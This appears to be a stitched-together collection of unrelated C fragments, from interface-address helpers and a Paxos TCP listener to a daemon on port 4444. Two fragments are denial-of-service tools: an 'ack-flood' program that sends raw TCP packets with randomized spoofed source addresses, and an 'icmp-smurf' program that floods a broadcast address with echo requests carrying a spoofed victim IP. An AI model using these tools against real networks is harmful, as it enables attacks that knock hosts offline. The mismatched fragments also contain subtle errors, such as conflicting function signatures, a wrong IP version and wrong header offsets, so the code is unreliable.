PRIVATE_EXTERN int
inet_aifaddr(int s, const char * name, struct in_addr addr,
const struct in_addr * mask,
const struct in_addr * broadaddr)
{
struct in_aliasreq ifra;
bzero(&ifra, sizeof(ifra));
strncpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));
set_sockaddr_in(&ifra.ifra_addr, addr);
if (mask != NULL) {
set_sockaddr_in(&ifra.ifra_mask, *mask);
}
if (broadaddr != NULL) {
set_sockaddr_in(&ifra.ifra_broadaddr, *broadaddr);
}
return (ioctl(s, SIOCAIFADDR, &ifra));
}
PRIVATE_EXTERN int
inet_difaddr(int s, const char * name, const struct in_addr addr)
{
struct ifreq ifr;
bzero(&ifr, sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
/* ALIGN: ifr.ifr_addr is aligned (in union), cast okay. */
set_sockaddr_in((struct sockaddr_in *)(void *)&ifr.ifr_addr, addr);
return (ioctl(s, SIOCDIFADDR, &ifr));
}
// Arguments standarized and checked //
// Respects executable [[--source-addr saddr] [--[remote|broadcast]-addr raddr] [--source-port sport] [--remote-port rport] [--n N]] /Y
int main(int argc,char* argv[]){
srand(time(NULL));
if(argc!=7){fprintf(stdout,"Usage: ack-flood --remote-addr raddr --remote-port rport --n N\n"); exit(0);}
else{
/** Example source address and source port **/
char* source_address = generate_random_ip_v4(); // Randomize source_address for this flood //
char* source_port = "1338"; // Randomize port //
char* remote_address = argv[2];
char* remote_port = argv[4];
unsigned int iter = atoi(argv[6]);
/** Obtain the socket**/
int sock = get_socket_descriptor_raw_tcp();
/** Create buffer for your packets **/
char buffer[DEFAULT_PCKT_LEN]; memset(buffer,0,DEFAULT_PCKT_LEN);
/**Init sockaddr_in with my network information (Only if it's necessary, there are functions in applications that spoofs your addr)**/
struct sockaddr_in myaddr;
set_sockaddr_in(&myaddr,source_address,source_port);
/** Create your headers and make your combinations **/
IP_HEADER *ip_hdr = (IP_HEADER *)buffer;
TCP_HEADER *tcp_hdr = (TCP_HEADER *)(buffer + sizeof(IP_HEADER));
/** Fill your headers (IP && TCP in this case) **/
set_ip_header(ip_hdr,IP_VERSION_V6,IP_DEFAULT_IHL,IP_CURRENT_TOS,IP_DEFAULT_IDENTIFICATION,0,0,0,\
IP_DEFAULT_FRAGMENT_OFFSET,IP_DEFAULT_TTL,IP_TCP_PROTOCOL,0,source_address,remote_address,0);
/** Use auxiliar functions to warn of current status **/
SHOW_CREATED_IP_HEADER(ip_hdr);
set_tcp_header(tcp_hdr,source_port,remote_port,0,0,TCP_DEFAULT_OFFSET,TCP_DEFAULT_RESERVED,0,0,0,0,1,0,0,0, \
TCP_DEFAULT_WINDOW,0,0,buffer);
SHOW_CREATED_TCP_HEADER(tcp_hdr);
/** Notice the kernel that we doesn't need it fill the header **/
if(kernel_not_fill_my_header(sock)<0){fprintf(stderr,"Is not possible to notice the kernel"); exit(0);}
/** Run your application type (Syn flood in this case)**/
run_flood(sock,iter,ip_hdr,&myaddr,buffer);
}
return 0;
}
//http://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml
// Arguments standarized and checked //
// Respects executable [--source-addr saddr --[remote|broadcast]-addr raddr --source-port sport [--remote-port rport] [--n N]] //
int main(int argc,char* argv[]){
if(argc!=9){fprintf(stdout,"Usage: icmp-smurf --source-addr saddr --broadcast-addr baddr --source-port sport --n N\n"); exit(0);}
else{
/** Example source address and source port **/
char* source_address = argv[2];
char* source_port = argv[6];
char* broadcast_address = argv[4];
int iterations = atoi(argv[8]);
/** Obtain the socket**/
int sock = get_socket_descriptor_raw_tcp();
/** Create buffer for your packets **/
char buffer[DEFAULT_PCKT_LEN]; memset(buffer,0,DEFAULT_PCKT_LEN);
/**Init sockaddr_in with my network information (Only if it's necessary, there are functions in applications that spoofs your addr)**/
struct sockaddr_in myaddr;
set_sockaddr_in(&myaddr,source_address,source_port);
/** Create your headers and make your combinations **/
IP_HEADER *ip_hdr = (IP_HEADER *)buffer;
ICMP_HEADER *icmp_hdr = (ICMP_HEADER *)(buffer + sizeof(ICMP_HEADER));
/** Fill your headers (IP && TCP in this case) **/
set_ip_header(ip_hdr,IP_VERSION_V6,IP_DEFAULT_IHL,IP_CURRENT_TOS,IP_DEFAULT_IDENTIFICATION,0,0,0,\
IP_DEFAULT_FRAGMENT_OFFSET,IP_DEFAULT_TTL,IP_ICMP_PROTOCOL,0,source_address,broadcast_address,0);
/** Use auxiliar functions to warn of current status **/
SHOW_CREATED_IP_HEADER(ip_hdr);
set_icmp_header(icmp_hdr,ICMP_ECHO,0,0,0);
SHOW_CREATED_ICMP_HEADER(icmp_hdr);
/** Notice the kernel that we doesn't need it fill the header **/
if(kernel_not_fill_my_header(sock)<0){fprintf(stderr,"Is not possible to notice the kernel"); exit(0);}
/** Application (Send icmp requests to broadcast addr with victim ip spoofed) **/
int count = 0,i;
#pragma omp parallel for reduction(+:count) if(iterations>=2000000)
for(i=0;i<iterations;i++){
if(sendto(sock, buffer, ip_hdr->total_length, 0, (struct sockaddr*)&myaddr, sizeof(myaddr))>=0) count++;
}
fprintf(stdout,"Send %d icmp echo to broadcast %s\n",count,broadcast_address);
}
return 0;
}
int
make_connect(char *server, int port)
{
int server_socket;
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if( -1 == server_socket){
syslog(LOG_ERR, "socket open error. retry in 1 second");
return -1;
}
struct sockaddr_in addr;
set_sockaddr_in(&addr, AF_INET, port, inet_addr(server));
if( -1 == connect( server_socket, (struct sockaddr*)&addr, sizeof(addr))){
syslog(LOG_ERR, "can't connect to server. retry in 1 seconnd");
return -1;
}
return server_socket;
}
int
main (int argc, char **argv)
{
get_option(argc, argv);
daemonize("nitch-agentd");
struct sockaddr_in addr;
set_sockaddr_in(&addr, AF_INET, 4444, INADDR_ANY);
sock = init_server(SOCK_STREAM, (struct sockaddr *) &addr, sizeof(addr), BACKLOG_SIZE);
if ( sock < 0) {
syslog(LOG_ERR, "can't listen on port %d: %m", 4444);
exit(EXIT_FAILURE);
}
syslog(LOG_DEBUG, "listening on 4444");
initialize();
if ( pthread_create(&p_thread[2], NULL, still_alive, NULL)){
syslog(LOG_ERR, "daemon can't make thread");
}
if ( pthread_create(&p_thread[3], NULL, time_stamper, NULL)){
syslog(LOG_ERR, "can't make thread");
}
pthread_join(p_thread[0], NULL);
pthread_join(p_thread[1], NULL);
pthread_join(p_thread[2], NULL);
pthread_join(p_thread[3], NULL);
close(STDIN_FILENO);
close(STDERR_FILENO);
close(STDOUT_FILENO);
close(socket_request);
close(socket_response);
close(sock);
exit(EXIT_SUCCESS);
}
struct tcp_receiver* tcp_receiver_new(struct event_base* b, int port, bufferevent_data_cb cb, void* arg)
{
struct tcp_receiver* r;
struct sockaddr_in sin;
unsigned flags = LEV_OPT_CLOSE_ON_EXEC | LEV_OPT_CLOSE_ON_FREE | LEV_OPT_REUSEABLE;
r = malloc(sizeof(struct tcp_receiver));
set_sockaddr_in(&sin, port);
r->callback = cb;
r->arg = arg;
/*libevent listener和bind端口*/
r->listener = evconnlistener_new_bind(b, on_accept, r, flags, -1, (struct sockaddr*)&sin, sizeof(sin));
assert(r->listener != NULL);
/*设置listen error 回调处理*/
evconnlistener_set_error_cb(r->listener, on_listener_error);
r->bevs = carray_new(10);
paxos_log_info("Listening on port %d", port);
return r;
}